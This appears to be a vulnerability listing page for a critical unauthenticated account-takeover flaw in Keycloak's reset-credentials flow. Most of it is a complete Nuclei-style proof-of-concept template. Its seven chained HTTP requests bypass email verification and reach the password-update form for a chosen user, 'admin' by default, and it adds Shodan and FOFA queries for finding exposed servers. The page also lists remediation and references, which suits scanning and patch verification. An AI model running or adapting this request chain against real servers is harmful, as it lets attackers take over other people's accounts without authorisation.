CVE-2026-18963: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass

2026-08-25 Keycloak PoC Public

Description

Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.

PoC

id: CVE-2026-18963

info:
  name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.
  impact: |
    An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.
  remediation: |
    Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    - https://github.com/keycloak/keycloak/pull/51844
    - https://github.com/keycloak/keycloak/issues/51833
    - https://github.com/T0w0T/POC-CVE-2026-18963
    - https://access.redhat.com/security/cve/cve-2026-18963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-18963
    epss-score: 0.03177
    epss-percentile: 0.87396
    cwe-id: CWE-640
  metadata:
    verified: true
    max-request: 7
    vendor: keycloak
    product: keycloak
    shodan-query: http.title:"Sign in to Keycloak" || http.title:"Log in to Keycloak"
    fofa-query: title="Sign in to Keycloak" || title="Log in to Keycloak"
  tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev

variables:
  username: admin
  realm: master

flow: |
  http("step-1");
  http("step-2");
  http("step-3");
  http("step-4");
  typeof restart_path !== "undefined" && restart_path !== "" && http("step-5");
  http("step-6");
  http("step-7");

http:
  - id: step-1
    raw:
      - |
        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: forgot_path
        internal: true
        part: body
        group: 1
        regex:
          - 'href="(?:https?://[^/]+)?(/[^"]*reset-credentials[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-2
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: reset_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-reset-password-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-3
    raw:
      - |
        POST {{replace(reset_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tryAnotherWay=on

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: selector_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-4
    raw:
      - |
        POST {{replace(selector_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: restart_path
        internal: true
        part: body
        group: 1
        regex:
          - '(/realms/[^\s"''<]+/login-actions/restart[^\s"''<]*skip_logout=true[^\s"''<]*)'

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-5
    raw:
      - |
        GET {{restart_path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-6
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: stale_selector_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: word
        words:
          - "kc-select-credential-form"
        part: body
        internal: true

  - id: step-7
    raw:
      - |
        POST {{replace(stale_selector_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "kc-passwd-update-form"
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"username=" + username + " | realm=" + realm'
# digest: 490a0046304402202e2d838bb87bc79d200e795bf689a997eb8054e797eac2b4f0e2db88faea8ef80220704bbe24ff964b1cb2e714ab99e22c3e207dafa946e8e299b1b87b3c715b87b7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities